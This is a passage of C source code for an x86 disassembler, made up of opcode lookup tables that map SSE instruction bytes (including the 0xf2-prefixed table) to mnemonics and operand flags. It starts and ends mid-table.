AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe9\n { INSTRUCTION_TYPE_SSE, \"pminsw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xea\n { INSTRUCTION_TYPE_SSE, \"por\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xeb\n { INSTRUCTION_TYPE_SSE, \"paddsb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xec\n { INSTRUCTION_TYPE_SSE, \"paddsw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xed\n { INSTRUCTION_TYPE_SSE, \"pmaxsw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xee\n { INSTRUCTION_TYPE_SSE, \"pxor\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xef\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf0\n { INSTRUCTION_TYPE_SSE, \"psllw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf1\n { INSTRUCTION_TYPE_SSE, \"pslld\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf2\n { INSTRUCTION_TYPE_SSE, \"psllq\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf3\n { INSTRUCTION_TYPE_SSE, \"pmuludq\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf4\n { INSTRUCTION_TYPE_SSE, \"pmaddwd\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf5\n { INSTRUCTION_TYPE_SSE, \"psadbw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf6\n { INSTRUCTION_TYPE_SSE, \"maskmovdqu\",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf7\n { INSTRUCTION_TYPE_SSE, \"psubb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf8\n { INSTRUCTION_TYPE_SSE, \"psubw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf9\n { INSTRUCTION_TYPE_SSE, \"psubd\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfa\n { INSTRUCTION_TYPE_SSE, \"psubq\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfb\n { INSTRUCTION_TYPE_SSE, \"paddb\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfc\n { INSTRUCTION_TYPE_SSE, \"paddw\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfd\n { INSTRUCTION_TYPE_SSE, \"paddd\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff\n}; \n\n// 3-byte instructions, prefix 0xf2\n\nINST inst_table3_f2[256] = {\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf\n { INSTRUCTION_TYPE_SSE, \"movsd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x10\n { INSTRUCTION_TYPE_SSE, \"movsd\", AM_W|OT_sd, AM_V|OT_sd, FLAGS_NONE, 1 }, // 0x11\n { INSTRUCTION_TYPE_SSE, \"movddup\", AM_V|OT_q, AM_W|OT_q, FLAGS_NONE, 1 }, // 0x12\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x13\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x14\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x15\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x16\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x17\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x28\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x29\n { INSTRUCTION_TYPE_SSE, \"cvtsi2sd\", AM_V|OT_sd, AM_E|OT_d, FLAGS_NONE, 1 }, // 0x2a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2b\n { INSTRUCTION_TYPE_SSE, \"cvttsd2si\",AM_G|OT_d, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2c\n { INSTRUCTION_TYPE_SSE, \"cvtsd2si\", AM_G|OT_d, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x50\n { INSTRUCTION_TYPE_SSE, \"sqrtsd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x51\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x52\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x53\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x54\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x55\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x56\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x57\n { INSTRUCTION_TYPE_SSE, \"addsd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x58\n { INSTRUCTION_TYPE_SSE, \"mulsd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x59\n { INSTRUCTION_TYPE_SSE, \"cvtsd2ss\", AM_V|OT_ss, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5b\n { INSTRUCTION_TYPE_SSE, \"subsd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5c\n { INSTRUCTION_TYPE_SSE, \"minsd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5d\n { INSTRUCTION_TYPE_SSE, \"divsd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5e\n { INSTRUCTION_TYPE_SSE, \"maxsd\", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x60\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x61\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x62\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x63\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x64\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x65\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x66\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x67\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x68\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x69\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6f\n { INSTRUCTION_TYPE_SSE, \"pshuflw\", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x71\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x72\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x73\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x74\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x75\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x76\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b\n { INSTRUCTION_TYPE_SSE, \"haddps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x7c\n { INSTRUCTION_TYPE_SSE, \"hsubps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x7d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1\n { INSTRUCTION_TYPE_SSE, \"cmpsd\", AM_V|OT_sd, AM_W|OT_sd, AM_I|OT_b, 1 }, // 0xc2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc6\n { INSTRUCTION_TYPE_OTHER, NULL, 